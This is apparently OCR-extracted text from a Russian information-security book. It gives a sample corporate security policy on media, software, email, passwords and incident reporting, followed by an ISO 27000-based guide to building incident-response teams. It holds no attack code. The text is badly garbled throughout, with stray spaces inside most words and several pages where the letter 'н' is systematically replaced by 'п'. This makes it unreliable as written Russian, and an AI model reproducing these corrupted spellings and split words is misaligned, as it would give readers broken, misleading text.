переформати рование  носителя не дает га ра нти и полного удаления  
записанной  на нем и нформа ци и .  
Карманные  персонал ьные  комп ьютеры ,  а также мобильные  телефоны ,  
имеющие фун кци ю электронной  почты, и прочие  переносные устрой
ства не относятся к ч и слу устройств,  имеющих надежные меха низмы 
за щиты да н н ых .  В подобном устр ойстве не  рекомендуется хран ить 
конфиденциальную информацию .  
П орты переда ч и  да н н ых, в том ч и сле  FD- и СD-дисководы , в ста цио
н а р н ых комп ьютерах сотрудн и ков  Компа н и и  блоки руются , за  искл ю
ч е н и ем тех случ аев ,  когда сотрудни ком п олуч ено  разрешение  на 
запись  и н форма ции  у Депа ртамента за щиты и нформа ци и .  

2 . 3 . 2 .  П рограммное обеспечение  
Все  про граммное обеспечение, уста новлен ное на п редоставленном 
Компанией  компьютерном оборудо в а н и и ,  является собственностью 
Комп а н и и  и должно испол ьзоваться искл юч ител ьно  в производствен
ных  целях. 
Сотрудникам запрещается уста навл и в ать на п редоставленном в пол ь
зование  компьютер ном оборудовании  неста ндартное, нел и цензион
ное п р ограммное обеспече н и е  и л и  п рограммное обеспечение ,  не  
имеющее отношения  к их п роизводственной деятел ьности . Есл и в ходе 
в ы п олнения  техн и ческого обслужи вани я  будет обна ружено  не разре
шенное к уста новке п рограммное обеспечение ,  оно будет удалено,  
а сооб щен и е  о н а руш е н и и  будет н а п р а влено  неп осредстве н н ому 
руководител ю сотрудн и ка и в Депа ртамент за щиты и нформа ци и .  



440 НО РМАТИ ВНАЯ ДО КУМЕНТАЦИЯ 

Н а всех п о ртати в н ых компьютерах должны  б ыть уста новл е н ы  п ро
граммы,  необходимые для обеспечения  за щиты и нформа ци и :  
• персонал ьный  межсетевой  экра н ;  
• анти в и русное про граммное обеспечение ;  
• про граммное обеспечение  ш и ф рования  жестких дисков;  
• про граммное обеспечение  ш и ф рования  почтовых сооб ще н и й .  
Все комп ьютеры ,  подключенные  к кор порати вной  сети ,  должны б ыть 
оснащены системой анти в и русной защиты, утвержденной  руководи
телем Депа ртамента и н форма ционных  технологи й .  
Сотрудники  Компа н и и  не должн ы :  
• блоки ровать анти в и русное про граммное обеспечение ;  
• уста навл и в ать другое анти в и русное про граммное обеспечение ;  
• изменять настройки  и конф и гурацию анти в и русного про граммного 

обеспечени я .  
Комп а н и я  п редп оч итает п р и о б р етать п рогр аммное обеспе чение ,  
а не разрабатывать собственные  программы , поэтому пользователям, 
жел а ющим в недрить новые  возможности бизнес-п роцессов ,  необхо
димо обсудить свое предл ожение  со своим менеджером по биз нес
и н формаци и ,  который  проинформи рует их о порядке п р иобретения  
и/ил и разработки про граммного обеспечен и я .  

2 . 4 .  Рекомендуемые п р а в ил а  пол ьзова ни я  электронной  почтой 
Электронные  сооб щения  (удаленные  ил и неудаленн ые) могут б ыть до
ступны  ил и получены  госуда рственн ыми ор ганами или кон курентами 
по бизнесу для их испол ьзования  в качестве доказател ьств в п роцессе 
судебного разб и р ател ьства и л и  п р и  веде н и и  биз неса . П оэтому со
держа н и е  электронных  сообще н и й  должно стр ого соответствовать 
корпорати вным  станда ртам в области деловой  эти ки .  
Использова ние  электронной  почты в л и ч ных  целях допускается в слу
чаях, когда получение/отп равка сооб щения  не мешает работе других 
пользователей  и не препятствует бизнес-деятел ьности . 
Сотрудн и кам запрещается направлять партнерам конф иденциал ьную 
и нформацию Комп а н и и  по  электронной  почте без испол ьзования  си
стем ш и ф рования .  Строго конфиденциальная  и нформация Комп а н и и  
н и  п р и  каких обстоятел ьствах не подлежит пересыл ке третьим л и цам 
по  электронной  почте . 
Сотруд н и кам Комп а н и и  з а п рещается использовать публ и ч н ы е  поч
тов ы е  я щ и ки электронной  п очты для осуществл ения  ка кого-л и б о  из  
в идов корпорати вной  деятел ьности . 
Использова ние  сотрудн и ками Компа н и и  публ и ч н ых почтовых ящиков  
электронной почты осуществляется тол ько при  согласовании  с Депар
таментом за щиты и нформации  при усл о в и и  п рименения  меха низмов 
ш и ф рования .  
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Сотрудн и ки Комп а н и и  для обмена документами с бизнес-п а ртнерами 
должны использовать тол ько свой оф и ци ал ь н ы й  адрес электронной  
почты . 
Сообщения ,  пересылаемые по электронной  почте, предста вляют со
бой постоя нно  испол ьзуемый  и нструмент для электронных  коммун и ка
ци й ,  имеющих тот же статус, что и п исьма и факсимил ьные сооб щения .  
Электронные  сооб щен и я  подлежат та кому же утвержде н и ю  и хране
н и ю ,  что и прочие  средства п исьменных  коммун и ка ци й .  
В целях предотв ращения  ошибок  п р и  отп р а в ке сообще н и й  пользова
тел и перед отп р а в кой должны в н имател ьно проверить п р а в ил ьность 
нап исани я  имен и адресов получ ателей .  В случае получения  сооб ще
ни я  л и цом, внима н и ю  которого это сооб щение  не п редназначается, 
такое сооб щение  необходимо переправ ить непосредственному полу
чател ю .  Есл и полученная  та ким образом информа ция носит конфи 
ден циал ьный  ха рактер ,  об этом следует незамедл ител ьно  п роинфор
мировать специал истов Депа ртамента за щиты и н формаци и .  
Отп рав ител ь электронного сооб щения ,  документа и л и  л и цо, которое 
его переадресовывает, должен указать свои имя и фамил ию ,  служеб
н ы й  адрес и тему сооб щени я .  
Н иже переч ислены  недопустимые действ и я  и случа и  испол ьзования  
электронной  почты : 
• рассыл ка сооб ще н и й  л и ч ного ха рактера ,  испол ьзующих знач ител ь

ные  ресурсы электронной  почты;  
• груп повая  рассыл ка всем п ол ьзовател ям Компа н и и  сооб ще н и й /  

п и сем; 
• рассыл ка рекл амных  мате р и алов ,  не  связанных  с деятел ьн остью 

Компа н и и ;  
• п одп иска на  рассыл ку, участие в дискуссиях и п одоб н ы е  услуги , 

испол ьзующие знач ител ьные  ресурсы электронной  почты в л и ч ных  
целях; 

• поиск  и чтение  сооб ще н и й ,  нап равленных  другим л и цам (незав иси 
мо от  способа их хранен ия ); 

• пересыл ка л юбых материалов ,  как сооб ще н и й ,  та к и п р ил оже н и й ,  
содержа н и е  которых  я вляется п роти воза кон н ым, неп р и стой н ым, 
зл онамеренн ым, оскорб ител ьным,  угрожа ющим, кл еветн и ческим, 
злоб ным  или сп особствует по веде н и ю ,  которое может рассмат
р и в аться как уголов ное п реступление  или  администрати в н ы й  п ро
ступок  л и б о  п р и в одит к в оз н и кн о в е н и ю  гр ажда нско- п р а в ов о й  
ответственн ости ,  бесп орядков и л и  п р оти в ореч ит кор п о р ати в н ы м  
ста нда ртам в области этики . 

Ко всем исходя щим сооб щен иям, направляемым внешним  пользова
телям, пол ьзовател ь может доба влять уведомление  о конфиденциаль
ности . 



442 НО РМАТИ ВНАЯ ДО КУМЕНТАЦИЯ 

Вложения ,  отп равляемые вместе с сооб щениями ,  следует испол ьзо
вать с должной осторожностью .  Во вложениях всегда должна указ ы
ваться дата их подготовки ,  и они  должны оформляться в соответств и и  
с уста новленн ыми в Комп а н и и  процедурами документооборота . 
Пересыл ка знач ител ьных  объемов да нных  в одном сооб ще н и и  может 
отр и цател ьно  повлиять на общи й уровень  доступности сетевой  и нф
раструктуры Комп а н и и  для других пол ьзователей . О бъем вложе н и й  
не должен превы шать 2 Мба йт. 

2 . 5 .  Сообщение  об и нцидентах и нформаци онной  безопасности ,  
реагирование  и отчетность 
Все пол ьзовател и должн ы  б ыть осведомл е н ы  о своей  обяз а н н ости 
сообщать об известных  или  подоз реваемых ими нарушен иях и нфор
мационной безопасности , а та кже должны быть прои нформи рованы  
о том, ч то  н и  п р и  каких обстоятел ьствах они  не должн ы  п ытаться и с
пользовать ста в ш и е  им из вестн ыми слабые стороны системы безопас
ности . 
В случае кражи переносного комп ьютера следует незамедл ител ьно со
общить об и н циденте директору Депа ртамента защиты информаци и .  
П ол ьзовател и должны знать способы и нформи рования  о б  известн ых 
ил и п редпола гаемых случ аях нарушения  и нформационной  безопас
ности с испол ьзованием телефонной  связ и ,  электронной  почты и дру
гих методов .  Н еобходимо обеспеч ить контрол ь и учет сооб щен и й  об 
и н цидентах и п р и нятие соответствующих мер .  
Есл и имеется п одоз рение  и л и  в ыя влено  нал и ч и е  в и русов и л и  и н ых 
раз руш ител ьных компьютерных  кодов ,  то сразу после их об наружения  
сотрудн и к  обяз а н :  
• прои нформи ровать специал истов Депа ртамента и н формационных  

технологи й ;  
• не пользоваться и не в ы ключать зараже н н ы й  комп ьютер;  
• не подсоеди нять этот комп ьютер к компьютерной  сети Комп а н и и  до 

тех пор ,  пока на  нем не будут п роиз ведены  удаление обна ружен
ного в и руса и пол ное а нти в и русное ска н и рование  специал истами 
Депа ртамента и нформаци онных  технологи й .  

2 . 6 .  П омещения  с техн ическими средствами и нформаци онной  
безопасности 
Конф иде н ци ал ь н ы е  встреч и ( заседа н и я )  должны  п р оходить тол ько 
в защищенных  техническими средствами и нформаци онной  безопас
ности помещениях .  
Перечень  помеще н и й  с техническими средствами и нформаци онной  
безопасности утверждается Руководством Комп а н и и .  
Участни кам заседа н и й  запрещается входить в помещения  с зап исы
вающей аудио/в идеоа п п а р атурой ,  фотоа п п а р атами ,  радиотелефо-
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нами и моб ильными телефонами без п редв а р ител ьного согласовани я  
с Департаментом защиты и н формаци и .  
Ауди о/в идеозап ись,  фотографирование  во время конфиденциальных  
заседа н и й  может вести тол ько сотрудн и к  Комп а н и и ,  который  отвечает 
за подготов ку заседания ,  после получения  п и сьменного разрешения  
руководителя груп п ы  орга н изаци и  встреч и .  
Доступ участн и ков  конфиденциальн ого заседа н и я  в помещение  для 
его проведения  осуществляется на основании  утвержденного перечня ,  
контрол ь за которым ведет л и цо, отвечающее за орга низацию встреч и .  

2 . 7 .  Управление  сетью 
Упол номоченные  сотрудн и ки Депа ртамента и нформационных техно
логий и Депа ртамента за щиты информаци и контрол и руют содержа
ние всех потоков да н н ых, п р оходя щих через сеть Комп а н и и .  
Сотрудн и кам Комп а н и и  запрещается : 
• на рушать и нформацион ную безопасность и работу сети Комп а н и и ;  
• ска н и ровать порты или  систему безопасности ; 
• контрол ировать работу сети с перехватом да нн ых; 
• п олучать доступ к комп ьютеру, сети или уч етн ой  з а п иси  в обход 

системы иденти ф и кации  пол ьзователя ил и безопасности ;  
• испол ьзовать любые  п рограммы,  скр и пты,  команды ил и переда вать 

сооб щения  с цел ью вмеш аться в работу или откл юч ить пол ьзовате
ля  оконечного устройства;  

• переда вать и н ф ормацию  о сотрудн и ках ил и сп иски  сотрудн и ков  
Компа н и и  посторонним л и цам; 

• созда вать, обновлять ил и расп ространять комп ьютерные  в и русы и 
п р очее разруш ител ьное п рограммное обеспечение .  

2 . 7 . 1 . За щита и сохр а н ность да нных  
Ответственность за сохранность да нных  на стационарных  и портати в
ных  персонал ьных комп ьютерах лежит на пользователях. Специал исты 
Депа ртамента и н формационных  технол оги й обязаны  оказ ывать пол ь
зователям содейств ие  в п роведе н и и  резер в ного коп ировани я  да нных  
на  соответствующие носител и .  
Н еобходимо регулярно  делать резервные  коп и и  всех основных  слу
жеб ных  да н н ых и про граммного обеспечени я .  
Тол ько специалисты Депа ртамента и нформационных  технол оги й на 
основа н и и  заявок  руководителей подраздел е н и й  могут созда вать и 
удалять совместно испол ьзуемые сетев ы е  ресурсы и п а п ки об щего 
пол ьзования ,  а та кже управлять пол н омочиями доступа к ним .  
Сотрудники  имеют право созда вать, модифицировать и удалять фай 
л ы  и директо р и и  в совместно испол ьзуемых сетевых  ресурсах тол ько 
на тех участках, которые выделены  л и ч н о  для них, для их рабочих груп п 
ил и к которым они  имеют са нкциони рова н н ы й  доступ .  
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Все заявки на проведение  технического обслуживани я  компьютеров  
должны напра вляться в Департамент и нформаци онных  технологи й .  

2 . 8 .  Разработка систем и управление  в несением изменен и й  
Все операционные  процедуры и процедуры в несения  изменений  в и н 
формаци о н н ы е  системы и сер в исы  должны  б ыть документи р о в а н ы ,  
согласова н ы  с руководителями Депа ртамента за щиты и нформаци и и 
Депа ртамента и н формационных  технологи й .  

1 .  П равила  образовани я  па рол ьных  фраз  
П а р ол ь н ы е  фразы  я вл яются конфиденциал ьной  и нформацией  и не  
могут быть разглашены  л ибо  переда н ы  кому-л ибо .  Ответственность 
за безопасное хранение  пароля  лежит на его вл адел ьце. 
В ы б и раемые пользовател ями па р ол ь н ы е  ф р а з ы  должн ы  а втомати 
чески  п р оверяться н а  соответств и е  треб о в а н и ям, п р едъя вляемым 
к сл ожности па рольных  ф раз,  указ а н н ым в данном документе. 
П р и  в ы боре па рол ьных  ф раз необходимо руководствоваться следую
щими критериями : 
1 .  П а рольные  ф разы должн ы  содержать не меньше двух спецсимво

лов ,  букв ы в разл и ч ном регистре и цифры ;  
2 .  П а рол и должны б ыть случ ай ными ,  то  есть :  
а .  н и  п о  какой имеющейся части п а р ол ьной  ф разы  нельзя сдел ать 

предпол ожение  об оставшейся части пароля ;  
Ь .  имея  парол ьную ф разу пользователя А, нел ьзя сделать предполо

жение  о парольной  фразе пользователя Б .  
3 .  Н едопустимо хранение  парольных  фраз  в откр ытом в иде; 
4. Н едопустимо хранен ие  парольных  фраз  в п реоб разованном в иде, 

стой кость ал гор итма п реоб разовани я  которого пол ностью зав исит 
от з нани я  самого алгор итма; 

5 . Дл и на в ы б и р аемых п а р ол ьных  ф р аз должна з а в и сеть от в р еме
н и  испол ьзования  одних  и тех же паролей . Та к, к п римеру, для и с
пол ьзования  одной и той же парол ьной  фразы  в течение  6 0  дней 
достаточно  ее дл и н ы  в 8 символ о в .  В случае увел и чения  периода 
действ ия  парольной  ф разы ее дл и н а  должна быть увел и чена .  

6 .  Дл и н а  парольных  фраз ,  не п редпола гающих своего изменения  со  
в ременем, должна быть не меньше 32  символов .  

1 1 .  Безопасное получение  парольных  ф раз 
П а рольные  ф разы не подлежат хране н и ю  в бумажной или электрон
ной  форме в об щедоступных  местах. 
П р и  первоначал ьном п редоста вл е н и и  доступа к и н форма ц и о н н ым 
ресурсам сетевой  и н ф р а структуры ,  а также п р и  п олучен и и  з а я в ки 
на сброс пароля  пол ьзовател ю предоста вляется перв и ч ная  па рол ь-
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ная  ф раза .  П е р в и ч ная  парол ьная фраза  удовлетворяет требовани 
ям ,  п редъя вляемым к паролям да н н ым документом, а та кже является 
в ременной  и должна б ыть изменена п р и  первом же входе в систему. 
П а рол ьная фраза сооб щается исключ ител ьно пользовател ю и нфор
маци онных ресурсов,  зап роси в шему доступ .  
П е р в и ч ная  парол ьная  ф раза может быть передана конеч ному пол ь
зовател ю системы в открытой форме через электрон ную почту тол ько 
в пределах корпорати вной  почтовой  системы .  

1 1 1 .  Смена па рольных  фраз  
П а рол ьная ф раза должна быть изменена в следующих случаях :  
• в ремя действия  па роля истекло;  
• при  подозрен и и ,  что па рол ь  стал из вестен кому-л ибо  еще; 
• есл и п р а в о  пол ьзования  учетной зап исью было переда но другому 

пользовател ю; 
• в случ ае есл и соста в груп п ы ,  пол ьзующейся общим паролем, из-

менился .  
При перви чной  регистраци и пользователя в системе должна быть за
прошена  смена п е р в и ч н о й  п а рол ьной  ф р аз ы .  Та кже пользовател ь 
должен и з вещаться об истечен и и  срока действия  его п а р оля  и не
обходимости установ ить н о в ы й .  
О бязател ьные требования  к парольному в воду: 
• подавление  отоб ражения  в в одимой па рол ьной  фразы ;  
• новая парол ьная  фраза должна в водиться дважды; 
• па рол ьное поле  должно сб расываться после каждой п роверки  в ве

денной  па рол ьной  фразы .  

IV .  Испол ьзование  одноразовых кл ючей аутентиф и кации  
(а п п а ратных токенов )  
В случае п р именения  а п п а ратных токенов  эти устройства должны быть 
защищены  как минимум четы рехз н а ч н ым п и н-кодом . П и н-код зап ре
щается разглашать или хра нить в откр ытом в иде или  в ле гкодоступных 
местах. 

8.2 . Ре гламент уп ра влен ия и н циде нта м и 
Для построепия регламепта управлепия ипцидептами ИБ я предла
гаю воспользоваться рекомепдациями стапдарта ISO 27000, которые 
приводятся далее в этом разделе. 

В соответствии с лучшими мировыми практиками сформулируем 
пекоторые припципы, соблюдая которые, оргапизация обеспечит эф
фективпую политику реагировапия па ипцидепты ипформациоппой 
безопаспости. 
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Руководство оргапизации должпо способствовать создапию пеоб
ходимых условий для впедрепия процедуры расследовапия ипцидеп
тов ипформациоппой безопаспости впутри оргапизации, а имеппо: 

О создапию формализоваппой политики реагировапия па ипци
депты; 

О разработке процедур обработки ипцидептов ; 
О урегулировапию юридических аспектов обращепия ипформа

ции в процессе расследовапия ; 
О утверждепию структуры комапды реагировапия па ипцидепты; 
О палаживапию впутриоргапизациоппых коптактов комапды по 

расследовапию ипцидептов с профильпыми специалистами 
(юристы, кадры, служба содействия бизпесу, ипформациоппая 
безопаспость и т. д. ) ;  

О определепию зоп ответствеппости комапды расследовапия, 
обучепию и техпическому оспащепию комапды расследовапия. 

Сокращепие ипцидептов ипформациоппой безопаспости путем 
эффективпого использовапия совремеппых средств защиты сетей, 
компьютерпых систем, программпого обеспечепия и приложепий: 

О превептивпые меры (предотвращепие проблем до паступлепия 
события ипцидепта) являются мепее дорогостоящими, чем ра
боты по ликвидации последствий ипцидептов, следовательпо, 
превептивпые меры являются пеотъемлемой частью политики 
реагировапия па ипцидепты ипформациоппой безопаспости; 

О процедура реагировапия па ипцидепты и расследовапие по фак
ту их происшествия будут более эффективпыми, если опреде
леппым видам ипформациоппых ресурсов будут поставлепы 
в соответствие адекватпые средства техпической защиты ип
формации. 

Докумептировапие руководящих припципов и процедур расследо
вапия ипцидептов ипформациоппой безопаспости для обеспечепия 
впутриоргапизациоппого взаимодействия и формировапия представ 
лепий в оргапы государствеппой власти: 

О в процессе расследовапия ипцидепта оргапизации, возможпо, 
потребуется общаться со стороппими оргапизациями с целью 
детальпого расследовапия и доведепия процедуры расследо
вапия до логичпого завершепия ( СМИ, оргапы правопорядка, 
пострадавшие со сторопы третьих лиц) ;  

О в случае песоразмерпого разглашепия копфидепциальпой ип
формации, связаппой с результатами расследовапия ипцидеп-
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та, ущерб от подобпых действий может быть соизмерим или 
превышать ущерб,  папесеппый вследствие самого ипцидепта 
ипформациоппой безопаспости; 

О урегулировапию проблемы песоразмерпого разглашепия слу
жит создапие так пазываемых коптактпых позиций ( РОС - point 
of contact ), структура и правомочпость которых оговариваются 
па этапе формировапия политики расследовапия ипцидептов и 
представляют собой юридически закреплеппую доверительпую 
среду участпиков ипформациоппого обмепа. 

Информирование о результатах расследования 
инцидента своих сотрудников и партнеров 
Структуризация и приоритезация потока ипформации о возможпых 
ипцидептах ипформациоппой безопаспости, поступающей от техпи
ческих средств мопиторипга и сбора даппых: 

О средства I D S  ежедпевпо фиксируют мпожество событий 
безопаспости, едипицы из которых отражают уязвимости либо 
попытки их реализации. 

Формализация принципов приоритезации событий 
информационной безопасности 
Хорошей практикой является использовапие припципа приорите
зации ипцидептов ипформациоппой безопаспости, осповаппого па 
определепии степепи критичпости рассматриваемого ресурса и сте
пепи критичпости воздействия па рассматриваемый ресурс , то есть 
так пазываемый эффект ипцидепта. Важпо также учитывать попу
лярпость ресурса, то есть пасколько ресурс востребовап. Подобпые 
предположепия должпы быть оформлепы в виде методики и войти 
как составпая часть в формализоваппую политику расследовапия 
ипцидептов ипформациоппой безопаспости. Удобпой формой пред
ставлепия подобпой методики является представлепие предположе
пий о критичпости активов в матричпой форме: 

О действия комапды по расследовапию ипцидептов должпы быть 
формализовапы и представлепы в виде Соглашепия об уровпе 
обслуживапия (SLA - Service Level Agreement), где подробпо 
определяются действия каждого сотрудпика и время реакции 
па определеппые события. 

Апализ ипцидептов и обработка результатов с целью получепия 
практического опыта: 
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О после обработки ипцидепта результаты расследовапия должпы 
быть докумептировапы и впесепы в базу даппых ипцидептов 
ипформациоппой безопаспости. Завершепие расследовапия 
должпо сопровождаться совместпым обсуждепием его резуль
татов со всеми привлечеппыми и заиптересоваппыми сторопа
ми. Комапда расследовапия ипцидептов должпа сделать соот
ветствующие выводы об уязвимостях, классифицировать их и 
припять меры к педопущепию в дальпейшем ипцидептов подоб
пого вида. Хорошей практикой является проведепие подобпых 
обсуждепий па регулярпой оспове; 

О попимапие причиппо-следствеппых связей в процессе рассле
довапия сложпых ипцидептов ; 

О к расследовапию сложпых ипцидептов привлекаются специа
листы из различпых подразделепий оргапизации, решающим 
фактором проведепия успешпого расследовапия сложпого ип
цидепта являются копсолидация действий сотрудпиков и впед
репие практики ролевого управлепия расследовапием. 

Политика расследования инцидентов информационной 
безопасности 
Политика в сфере реагировапия па ипцидепты ипформациоппой 
безопаспости разрабатывается с учетом специфики оргапизации, 
профиля ее деятельпости. Вместе с тем существуют обязательпые 
элемепты политики, пе зависящие от того, является ли оргапизация 
закрытой (бапки, госучреждепия и т. д. ) или публичпой ( СМИ, ре
клампые агептства и т. д. ). К даппым элемептам отпосятся: 

О попимапие руководством оргапизации пеобходимости реагиро
вапия па ипцидепты ипформациоппой безопаспости; 

О управлепие процедурой расследовапия ипцидептов ипформа
циоппой безопаспости; 

О определепие целей и места политики расследовапия ипцидеп
тов в общей структуре процессов управлепия безопаспостью и 
оргапизацией в целом (политика расследовапия ипцидептов яв
ляется частью процесса обеспечепия пепрерывпости фупкцио
пировапия оргапизации) ;  

О определепие попятий �ипцидепт ипформациоппой безопаспо
сти� и �последствия ипцидепта ипформациоппой безопаспо
сти� в коптексте сферы деятельпости оргапизации ; 

О описапие состава, структуры, фупкциопальпых обязаппостей, 
зоп ответствеппости, ролей, правил впутриоргапизациоппого 
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взаимодействия, порядка впешпих спошепий комапды по рас
следовапию ипцидептов ипформациоппой безопаспости; 

О порядок устаповлепия приоритетов ипцидептов и оцепки серь
езпости последствий ипцидептов ипформациоппой безопас 
пости; 

О оцепка критериев качества работы комапды по расследовапию 
ипцидептов ; 

О разработка форм отчетпости и регламепта оповещепий об ип
цидепте; 

О разработка пабора процедур, описывающих действие сотрудпи
ков оргапизации в случае ипцидепта ипформациоппой безопас
пости (выделеппый телефоп, адрес электроппой почты) ;  

О разработка стапдартпых операциоппых процедур ( S O Ps -
Standard Operating Procedures) ,  подробпо описывающих дей
ствия сотрудпиков комапды реагировапия в процессе обработ
ки ипцидепта ипформациоппой безопаспости ; 

О порядок пересмотра, тестировапия и актуализации стапдартпых 
операциоппых процедур. 

Структура команды по расследованию инцидентов 
информационной безопасности 
Комапда реагировапия па ипцидепты ипформациоппой безопаспо
сти должпа быть доступпа сотрудпику оргапизации любого уровпя. 
В расследовапии ипцидепта в зависимости от его сложпости при
пимает участие одип или более сотрудпиков комапды. Руководитель 
комапды апализирует свидетельства ипцидепта и припимает решепие 
о количестве и составе комапды расследовапия, при пеобходимости 
привлекая к расследовапию уполпомочеппых сотрудпиков других 
подразделепий. 

Существуют три осповпых типа моделей структуры комапды реа
гировапия: 

О цептрализоваппая модель - реализовапа в виде едипствеппой 
па всю оргапизацию структуры, состоящей из трех липий под
держки: call center (телефоп горячей липии), специалисты тех
пической поддержки (управлепие средствами сбора и апализа 
даппых), группа расследовапия (апалитическая служба). Дап
пая модель примепима к пебольшим оргапизациям, в которых 
отсутствует географически распределеппая сеть филиалов ; 

О распределеппая модель - реализовапа па оспове цептрализо
ваппой модели управлепия. Отличие даппой модели от цептра-
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лизованной заключается в наличии дочерних структур в круп
ных филиалах организации или удаленных вычислительных 
центрах. В данном случае структура команды реагирования 
головного офиса дополняется службой координации и центра
лизованного хранения данных об инцидентах информационной 
безопасности ; 

О корпоративная модель - реализована но принципу центра ком
петенции. Координационный совет но вопросам реагирования 
на инциденты информационной безопасности обрабатывает 
консолидированную информацию от юридических лиц, входя
щих в корпорацию, и координирует действия дочерних структур. 

Существуют три основные модели комплектации структуры ко
манды реагирования персоналом: 

О организация выполняет всю работу, связанную с обработкой 
инцидента самостоятельно, силами собственного персонала; 

О в состав команды расследования инцидентов привлекаются 
сотрудники профилирующих фирм. Данная модель внедряет
ся в организациях, которые обеспечивают доступность своих 
ресурсов но схеме 24/7. В данном случае возможен вариант, 
когда реагирование и первичную обработку берет на себя фир
ма, предоставляющая услуги аутсорсинга, а расследование ин
цидента внутри организации - местная команда реагирования; 

О процедура реагирования и обработки инцидентов полностью 
передаются на обслуживание профилирующей фирме. Данная 
модель хорошо подходит организациям, которые в силу объ
ективных причин не могут заниматься обработкой инцидентов, 
но нуждаются в подобном функционале. 

Факторы, влияющие на выбор модели: 

О требуемая доступность информационной системы составляет 
24 часа в сутки, 7 дней в неделю; 

О полная или частичная занятость сотрудников. На данный фак
тор следует обращать внимание в случае частичной занятости 
сотрудников. Необходимо предусмотреть возможность экстрен
ной связи с персоналом; 

О квалификация персонала. Обработка инцидентов информаци
онной безопасности требует специальных знаний нрограммно
аннаратных средств защиты информации. Организация должна 
учитывать данный фактор при привлечении IT -специалистов 
к процедуре сопровождения инцидентов ; 
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О стоимость сопровождения инцидентов информационной 
безопасности. Организация должна оценить стоимость сопро
вождения инцидентов информационной безопасности и опре
делить наиболее выгодную для себя модель; 

О организационная структура. В случае корпоративного подхода 
к моделированию обработки инцидентов очевидным является 
решение о существовании самостоятельных команд но рассле
дованию инцидентов информационной безопасности в составе 
каждого юридического лица. При этом эффективным решением 
будет создание координационного центра в головном предста
вительстве организации. 

Факторы, влияющие на выбор модели в случае привлечения сто
роннего обслуживания: 

О процедура перманентного контроля качества оказания услуг. 
Организация контролирует качество оказания услуг сторонней 
организацией. С этой целью необходимо внедрить процедуру 
мониторинга событий информационной безопасности, сбор ста
тистических данных об инцидентах с целью отслеживания ди
намики роста (падения) числа событий и способности системы 
безопасности пресекать попытки вторжения; 

О разделение полномочий в части администрирования. Приори
тет принятия решений о перезагрузке оборудования, смены 
учетных данных пользователей, прочих действий, необходи
мость в которых возникает в процессе реагирования на инци
денты, должен быть оговорен отдельно и формализован в виде 
руководящего документа; 

О разграничение доступа к информации. Организация прораба
тывает вопросы, связанные с защитой конфиденциальной ин
формации. В общем случае сторонняя организация не должна 
иметь достаточных оснований для проведения анализа струк
туры организации, персональных данных сотрудников, деловой 
переписки, распределенных каталогов хранения документов ор
ганизации, прочих критичных активов;  

О понимание инфраструктуры организации. Организация фор
мирует представления о своей деятельности для фирмы - по
ставщика услуг с целью правильного понимания инцидентов 
информационной безопасности. Организация формулирует и 
формализует в виде руководящего документа свое видение ин
цидентов, регулярно актуализирует и обновляет предоставляе
мую информацию; 
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О корреляция свидетельств инцидентов.  Организация способ 
ствует внедрению систем корреляции событий информацион
ной безопасности. Автоматизированные системы корреляции и 
консолидации событий довольно сложны и чрезвычайно полез
ны одновременно. Данный класс систем требует специального 
обслуживания компетентными специалистами ; 

О обработка инцидентов.  Организация определяет необходимость 
присутствия представителя фирмы - поставщика услуг в про
цессе расследования инцидента; 

О способность реагировать на инциденты самостоятельно. Орга
низация должна стремиться самостоятельно реагировать на ин
циденты информационной безопасности. В процессе развития 
инцидента может сложиться ситуация, когда фирма - постав
щик услуг окажется недоступной. Для данной ситуации органи
зация разрабатывает и внедряет аварийный план реагирования, 
обработки и выхода из инцидента. 

Взаимодействие со структурой организации 
Финансовая организация вне зависимости от выбранной модели об
работки инцидентов информационной безопасности должна иметь в 
своем штате минимум двух специалистов , способных обеспечить ра
ботоспособность системы в процессе обработки инцидента. Данный 
персонал призван осуществлять связь с поставщиком услуг, оцени
вать качество их работы, знать систему и быть способным восстано
вить в короткий срок ее работоспособность. 

От компетентности специалистов поддержки зависит работоспо
собность процедуры обработки инцидентов в организации. Хорошим 
качеством является коммуникабельность, поскольку расследование 
инцидента связано с общением с персоналом, в том числе руковод
ством организации. 

Для поддержания процедуры обработки инцидентов информаци
онной безопасности организация должна проводить следующую по
литику в отношении команды реагирования на инциденты: 

О финансирование процедуры обработки инцидентов ;  
О обучение сотрудников профилирующим и смежным дисципли

нам, в частности юридическим аспектам деятельности команды 
реагирования; 

О вовлечение специалистов в процесс обучения сотрудников,  
написания нормативной и технической документации; 
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О штат команды должен быть полностью укомплектован, должен 
соблюдаться принцип сегрегации обязанностей ; 

О должна поддерживаться практика ротации персонала; 
О перманентное вовлечение в процесс экспертов но профилирую

щим областям деятельности с целью поднятия уровня компе
тенции сотрудников;  

О проведение тренингов и тестирования сценариев обработки 
инцидентов;  

О вовлечение в процесс расследования инцидентов специалистов 
других подразделений: управление, информационная безопас 
ность, телекоммуникации, IТ-ноддержка, юристы, отдел но  свя
зям с общественностью и СМИ, отдел но работе с персоналом, 
отдел планирования непрерывности функционирования орга
низации, служба содействия бизнесу и т. д. 

Жизненный цикл процедуры реагирования на инциденты 
информационной безопасности 
Процедура реагирования на инциденты информационной безопас
ности состоит из нескольких фаз, начиная с обучения персонала и 
сбора необходимого инструментария и до выхода из инцидента ( завер
шения расследования и устранения последствий). В процессе подго
товки организация стремится ограничить потенциальное число подо
зрительных событий, настраивая систему корреляции и тщательно 
прорабатывая процедуры хождения информации внутри организации 
и вовне. В процессе подготовки организация оценивает риски инфор
мационной безопасности. Хорошей практикой является внедрение 
системы менеджмента информационной безопасностью ( СМИБ ), 
которая существенно облегчит процесс обработки инцидентов. Рас
следование инцидента завершается процедурой оценки остаточных 
рисков и извлечения практической пользы для дальнейшей работы. 

Для внедрения процедуры реагирования на инциденты инфор
мационной безопасности в структуру вспомогательных процессов, 
обеспечивающих сопровождение и поддержку процесса управления 
финансовой организации, требуется пересмотреть подход к проблеме 
обеспечения информационной безопасности в рамках организации, 
заручившись соответствующей поддержкой руководства. 

Механизм внедрения процедур обеспечения информационной 
безопасности в структуру процессов организации является доста
точно емким, требует отдельного обсуждения и не входит в рамки 
данного раздела. 
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Ресурсы и инструментарий расследования инцидентов 
информационной безопасности 
Этан подготовки к расследованию инцидентов заключается в сборе и 
анализе информации об инцидентах информационной безопасности, 
обучении персонала и подготовке необходимого инструментария для 
реагирования и расследования инцидента: 

О контактная информация сотрудников подразделения реагиро
вания; 

О телефоны служб технической поддержки; 
О открытый или анонимный канал связи для сообщений о подо

зрительных действиях; 
О номера мобильных телефонов сотрудников;  
О криптографические средства для защиты обмена информацией 

между членами команды реагирования; 
